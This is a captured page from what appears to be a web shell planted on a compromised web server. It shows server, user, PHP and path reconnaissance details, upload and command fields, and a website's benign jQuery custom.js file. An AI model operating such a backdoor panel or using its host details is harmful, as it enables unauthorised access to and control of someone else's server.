Shadow-Here


Server : Apache/2.4.41 (Ubuntu)
System : Linux cls 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : iscuser ( 1001)
PHP Version : 7.4.12
Disable Function : shell_exec,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/all-domains/srh/www/Sumadhura_lp/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :
Current File : /var/www/html/all-domains/srh/www/Sumadhura_lp/assets/js/custom.js
$(window).on('load', function(){

	"use strict";
 
 
	/* ========================================================== */
	/*   Navigation Background Color                              */
	/* ========================================================== */
	
	// $(window).on('scroll', function() {
	// 	if($(this).scrollTop() > 50) {
	// 		$('.navbar-fixed-top').addClass('opaque');
	// 	} else {
	// 		$('.navbar-fixed-top').removeClass('opaque');
	// 	}
	// });
 
 	// /*Fixed Header*/
	// jQuery(window).scroll(function(){
	//   var sticky = jQuery('._header'),
	//       scroll = jQuery(window).scrollTop();

	//   if (scroll >= 10) sticky.addClass('hfixed');
	//   else sticky.removeClass('hfixed');
	// });
	
	
    // jQuery(function ($) { 
    //     $(window).scroll(function () {
    //         if ($(this).scrollTop() > 50) { 
    //             $('.navbar-brand img').attr('src','assets/img/Sumadhura-Logo-White.png')
    //                 .fadeIn();
    //         }
    //         if ($(this).scrollTop() < 50) { 
    //             $('.navbar-brand img').attr('src','assets/img/Sumadhura-Logo-White.png').fadeIn();
    //         }
    //     })
    // });

	
	/* ========================================================== */
	/*   Hide Responsive Navigation On-Click                      */
	/* ========================================================== */
	
	  $(".navbar-nav li a").on('click', function(event) {
	    $(".navbar-collapse").collapse('hide');
	  });

	
	/* ========================================================== */
	/*   Navigation Color                                         */
	/* ========================================================== */
	
	$('#navbarCollapse').onePageNav({
		filter: ':not(.external)'
	});


	/* ========================================================== */
	/*   SmoothScroll                                             */
	/* ========================================================== */
	
	$(".navbar-nav li a, a.scrool").on('click', function(e) {
		
		var full_url = this.href;
		var parts = full_url.split("#");
		var trgt = parts[1];
		var element=$("#"+trgt);
		if(element.length) {
			var target_offset = $("#"+trgt).offset();
			var target_top = target_offset.top;
			// $('html,body').animate({scrollTop:target_top -1}, 500);
			$('html,body').animate({ 
				scrollTop: $(this.hash).offset().top}, 500);
		}
			return false;
		
	});


	/* ========================================================== */
	/*   Newsletter                                               */
	/* ========================================================== */
	
	$('.newsletter-form').each( function(){
		var form = $(this);
		//form.validate();
		form.submit(function(e) {
			if (!e.isDefaultPrevented()) {
				jQuery.post(this.action,{
					'email':$('input[name="nf_email"]').val(),
				},function(data){
					form.fadeOut('fast', function() {
						$(this).siblings('p.newsletter_success_box').show();
					});
				});
				e.preventDefault();
			}
		});
	});		
	

	/* ========================================================== */
	/*   Register                                                 */
	/* ========================================================== */
	
	$('#register-form').each( function(){
		var form = $(this);
		//form.validate();
		form.submit(function(e) {
			if (!e.isDefaultPrevented()) {
				jQuery.post(this.action,{
					'names':$('input[name="register_names"]').val(),
					'email':$('input[name="register_email"]').val(),
					'ticket':$('select[name="register_ticket"]').val(),
				},function(data){
					form.fadeOut('fast', function() {
						$(this).siblings('p.register_success_box').show();
					});
				});
				e.preventDefault();
			}
		});
	})
	
	
	/* ========================================================== */
	/*   Contact                                                 */
	/* ========================================================== */
	
	$('#contact-form').each( function(){
		var form = $(this);
		//form.validate();
		form.submit(function(e) {
			if (!e.isDefaultPrevented()) {
				jQuery.post(this.action,{
					'names':$('input[name="contact_names"]').val(),
					'phone':$('input[name="contact_phone"]').val(),
					'email':$('input[name="contact_email"]').val(),
					'ticket':$('select[name="contact_ticket"]').val(),
					'message':$('textarea[name="contact_message"]').val(),
				},function(data){
					form.fadeOut('fast', function() {
						$(this).siblings('p.contact_success_box').show();
					});
				});
				e.preventDefault();
			}
		});
	})
});

	

	/* ========================================================== */
	/*   Popup-Gallery                                            */
	/* ========================================================== */
	$('.popup-gallery').find('a.popup1').magnificPopup({
		type: 'image',
		gallery: {
		  enabled:true
		}
	}); 
	
	$('.popup-gallery').find('a.popup2').magnificPopup({
		type: 'image',
		gallery: {
		  enabled:true
		}
	}); 
 
	$('.popup-gallery').find('a.popup3').magnificPopup({
		type: 'image',
		gallery: {
		  enabled:true
		}
	}); 
 
	$('.popup-gallery').find('a.popup4').magnificPopup({
		type: 'iframe',
		gallery: {
		  enabled:false
		}
	});  

	// testimonial
        $(document).ready(function () {            
            $('.slick-list').slick({
            centerMode: false,
            centerPadding: '60px',
            slidesToShow: 1,
			infinite: true,
			autoplay: true,
				autoplaySpeed: 2000,
				// dots: true,
			
            responsive: [
                {
                breakpoint: 768,
                settings: {
                    arrows: false,
                    centerMode: false,
                    centerPadding: '40px',
                    slidesToShow: 1,
					infinite: true,
					autoplay: true,
					autoplaySpeed: 2000,
                }
                },
                {
                breakpoint: 480,
                settings: {
                    arrows: false,
                    centerMode: false,
                    centerPadding: '40px',
                    slidesToShow: 1,
					infinite: true,
					autoplay: true,
					autoplaySpeed: 2000,
                }
                }
            ]
        });
    $("#a-slick-prev").on("click",function(){
        $(".slick-list").slick("slickPrev");
    });
    $("#a-slick-next").on("click",function(){
        $(".slick-list").slick("slickNext");
    })
        });

		
		// amanities
        $(document).ready(function () {            
            $('.slick-amanities').slick({
            centerMode: false,
            // centerPadding: '60px',
            slidesToShow: 5,
			infinite: true,
			autoplay: true,
  			autoplaySpeed: 2000,
			
			
            responsive: [
                {
                breakpoint: 768,
                settings: {
					// dots: true,
                    arrows: false,
                    centerMode: false,
                    centerPadding: '40px',
                    slidesToShow: 1,
					infinite: true,
					autoplay: true,
					autoplaySpeed: 2000,
                }
                },
                {
                breakpoint: 480,
                settings: {
					// dots: true,
                    arrows: false,
                    centerMode: false,
                    centerPadding: '40px',
                    slidesToShow: 1,
					infinite: true,
					autoplay: true,
					autoplaySpeed: 2000,
                }
                }
            ]
        });
    $("#a-slick-prev").on("click",function(){
        $(".slick-list").slick("slickPrev");
    });
    $("#a-slick-next").on("click",function(){
        $(".slick-list").slick("slickNext");
    })
        });


		// projects
        $(document).ready(function () {            
            $('.slick-project').slick({
            centerMode: false,
            // centerPadding: '60px',
            slidesToShow: 4,
			infinite: true,
			autoplay: true,
  			autoplaySpeed: 1000,
			
            responsive: [
                {
                breakpoint: 768,
                settings: {
					// dots: true,
                    arrows: false,
                    centerMode: false,
                    centerPadding: '40px',
                    slidesToShow: 2,
					infinite: true,
					autoplay: true,
					autoplaySpeed: 2000,
                }
                },
                {
                breakpoint: 480,
                settings: {
					// dots: true,
                    arrows: false,
                    centerMode: false,
                    centerPadding: '40px',
                    slidesToShow: 1,
					infinite: true,
					autoplay: true,
					autoplaySpeed: 2000,
                }
                }
            ]
        });
    $("#a-slick-prev").on("click",function(){
        $(".slick-list").slick("slickPrev");
    });
    $("#a-slick-next").on("click",function(){
        $(".slick-list").slick("slickNext");
    })
    });

	// projects highlight
	$(function(){
		$("#slider").slick({
		  speed: 1500,
		  centerMode: false,
		  // centerPadding: '60px',
		  slidesToShow: 4,
		  infinite: true,
		  autoplay: true,
		  autoplaySpeed: 1500,
		  
		  responsive: [
			  {
			  breakpoint: 768,
			  settings: {
				  // dots: true,
				  arrows: false,
				  centerMode: false,
				  centerPadding: '40px',
				  slidesToShow: 2,
				  infinite: true,
				  autoplay: true,
				  autoplaySpeed: 2000,
			  }
			  },
			  {
			  breakpoint: 480,
			  settings: {
				//   dots: true,
				  arrows: false,
				  centerMode: false,
				  centerPadding: '40px',
				  slidesToShow: 2,
				  infinite: true,
				  autoplay: true,
				  autoplaySpeed: 2000,
			  }
			  }
		  ]
		});
	});

	$(function () {
    $("#preserved-slider").slick({
      speed: 1500,
      centerMode: false,
      // centerPadding: '60px',
      slidesToShow: 1,
      infinite: true,
      autoplay: true,
      autoplaySpeed: 1500,

      responsive: [
        {
          breakpoint: 768,
          settings: {
            // dots: true,
            arrows: false,
            centerMode: false,
            centerPadding: "40px",
            slidesToShow: 1,
            infinite: true,
            autoplay: true,
            autoplaySpeed: 2000,
          },
        },
        {
          breakpoint: 480,
          settings: {
            //   dots: true,
            arrows: false,
            centerMode: false,
            centerPadding: "40px",
            slidesToShow: 1,
            infinite: true,
            autoplay: true,
            autoplaySpeed: 2000,
          },
        },
      ],
    });
  });


 

		

Samx